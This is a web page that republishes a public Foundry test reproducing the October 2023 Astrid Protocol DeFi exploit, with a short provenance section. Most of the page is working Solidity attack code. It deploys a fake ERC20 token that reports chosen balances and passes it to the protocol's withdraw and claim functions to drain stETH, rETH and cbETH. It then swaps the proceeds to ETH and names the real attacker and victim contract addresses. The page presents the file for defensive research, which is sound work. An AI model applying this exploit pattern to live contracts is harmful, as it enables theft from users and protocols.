Skip to content
THREATWIRE

Public reproduction file

src/test/2023-10/Astrid_exp.sol

Public reproduction file for dataset entry AstridProtocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-10/Astrid_exp.sol155 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~228591 USD$
8// Attacker : https://etherscan.io/address/0x792ec27874e1f614e757a1ae49d00ef5b2c73959
9// Attack Contract : https://etherscan.io/address/0xb2e855411f67378c08f47401eacff37461e16188
10// Vulnerable Contract : https://etherscan.io/address/0xbAa87546cF87b5De1b0b52353A86792D40b8BA70
11// Attack Tx : https://etherscan.io/tx/0x8af9b5fb3e2e3df8659ffb2e0f0c1f4c90d5a80f4f6fccef143b823ce673fb60
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1718454835966775325
15contract MyERC20 {
16 uint256 public totalSupply;
17 mapping(address => uint256) public balanceOf;
18 mapping(address => mapping(address => uint256)) public allowance;
20 uint8 public decimals = 18;
21 address public stakedTokenAddr;
22 uint256 public scaledBalanceToBal;
24 constructor(address _stakedTokenAddress, uint256 bal) public {
25 stakedTokenAddr = _stakedTokenAddress;
26 scaledBalanceToBal = bal;
27 }
29 event Transfer(address indexed from, address indexed to, uint256 value);
30 event Approval(address indexed owner, address indexed spender, uint256 value);
32 function approve(address spender, uint256 amount) external returns (bool) {
33 allowance[msg.sender][spender] = amount;
34 emit Approval(msg.sender, spender, amount);
35 return true;
36 }
38 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
39 allowance[sender][msg.sender] -= amount;
40 balanceOf[sender] -= amount;
41 balanceOf[recipient] += amount;
42 emit Transfer(sender, recipient, amount);
43 return true;
44 }
46 function mint(
47 uint256 amount
48 ) external {
49 balanceOf[msg.sender] += amount;
50 totalSupply += amount;
51 emit Transfer(address(0), msg.sender, amount);
52 }
54 function burn(address sender, uint256 amount) external {
55 balanceOf[sender] -= amount;
56 totalSupply -= amount;
57 emit Transfer(sender, address(0), amount);
58 }
60 function scaledBalanceOf(
61 address user
62 ) external pure returns (uint256) {
63 return 0;
64 }
66 function stakedTokenAddress() external returns (address) {
67 return stakedTokenAddr;
68 }
70 function scaledBalanceToBalance(
71 uint256 a
72 ) external returns (uint256) {
73 return scaledBalanceToBal;
74 }
77interface Vulnerable {
78 function withdraw(address _restakedTokenAddress, uint256 amount) external;
79 function claim(
80 uint256 withdrawerIndex
81 ) external;
84interface IuniswapV3 {
85 function token0() external view returns (address);
86 function token1() external view returns (address);
87 function swap(
88 address recipient,
89 bool zeroForOne,
90 int256 amountSpecified,
91 uint160 sqrtPriceLimitX96,
92 bytes calldata data
93 ) external;
96contract ASTTest is Test {
97 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
98 Vulnerable vulnerable = Vulnerable(0xbAa87546cF87b5De1b0b52353A86792D40b8BA70);
99 IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
100 IERC20 rETH = IERC20(0xae78736Cd615f374D3085123A210448E74Fc6393);
101 IERC20 cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);
102 ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
103 IuniswapV3 rETHPool = IuniswapV3(0xa4e0faA58465A2D369aa21B3e42d43374c6F9613);
104 IuniswapV3 cbETHPool = IuniswapV3(0x840DEEef2f115Cf50DA625F7368C24af6fE74410);
105 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
107 function setUp() public {
108 cheats.createSelectFork("mainnet", 18_448_167);
109 }
111 function testExpolit() public {
112 address[] memory stakedTokens = new address[](3);
113 stakedTokens[0] = address(stETH);
114 stakedTokens[1] = address(rETH);
115 stakedTokens[2] = address(cbETH);
116 deal(address(this), 0);
117 uint256[] memory balances = new uint256[](3);
118 emit log_named_decimal_uint("Attacker Eth balance before attack:", address(this).balance, 18);
119 for (uint8 i = 0; i < stakedTokens.length; i++) {
120 uint256 staked_bal = IERC20(stakedTokens[i]).balanceOf(address(vulnerable));
121 balances[i] = staked_bal;
122 MyERC20 fake_token = new MyERC20(stakedTokens[i], staked_bal);
123 fake_token.mint(10_000 * 1e18);
124 fake_token.approve(address(vulnerable), type(uint256).max);
126 vulnerable.withdraw(address(fake_token), staked_bal);
127 vulnerable.claim(i);
128 }
130 //changing stETH to eth
131 stETH.approve(address(LidoCurvePool), balances[0]);
132 LidoCurvePool.exchange(1, 0, balances[0], 0);
134 //changing rETH to weth
135 rETH.approve(address(rETHPool), balances[1]);
136 rETHPool.swap(address(this), true, int256(balances[1]), 4_295_128_740, new bytes(0));
138 //changing cbETH to weth
139 cbETH.approve(address(cbETHPool), balances[2]);
140 cbETHPool.swap(address(this), true, int256(balances[2]), 4_295_128_740, new bytes(0));
142 WETH.withdraw(WETH.balanceOf(address(this)));
143 emit log_named_decimal_uint("Attacker Eth balance after attack:", address(this).balance, 18);
144 }
146 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
147 if (amount0Delta > 0) {
148 IERC20(IuniswapV3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));
149 } else if (amount1Delta > 0) {
150 IERC20(IuniswapV3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));
151 }
152 }
154 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “AstridProtocol” (2023-10-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x792ec27874e1f614e757a1ae49d00ef5b2c73959

  • Attack Contract

    0xb2e855411f67378c08f47401eacff37461e16188

  • Vulnerable Contract

    0xbaa87546cf87b5de1b0b52353a86792d40b8ba70

  • Attack Tx

    0x8af9b5fb3e2e3df8659ffb2e0f0c1f4c90d5a80f4f6fccef143b823ce673fb60

File record

Name
AstridProtocol
Path
src/test/2023-10/Astrid_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f045f7a25b41f06d5c7d5ba8f58382123f11fa3a
Language
Solidity
Size
156 lines
Date
2023-10-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-10/Astrid_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f045f7a25b41f06d5c7d5ba8f58382123f11fa3a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.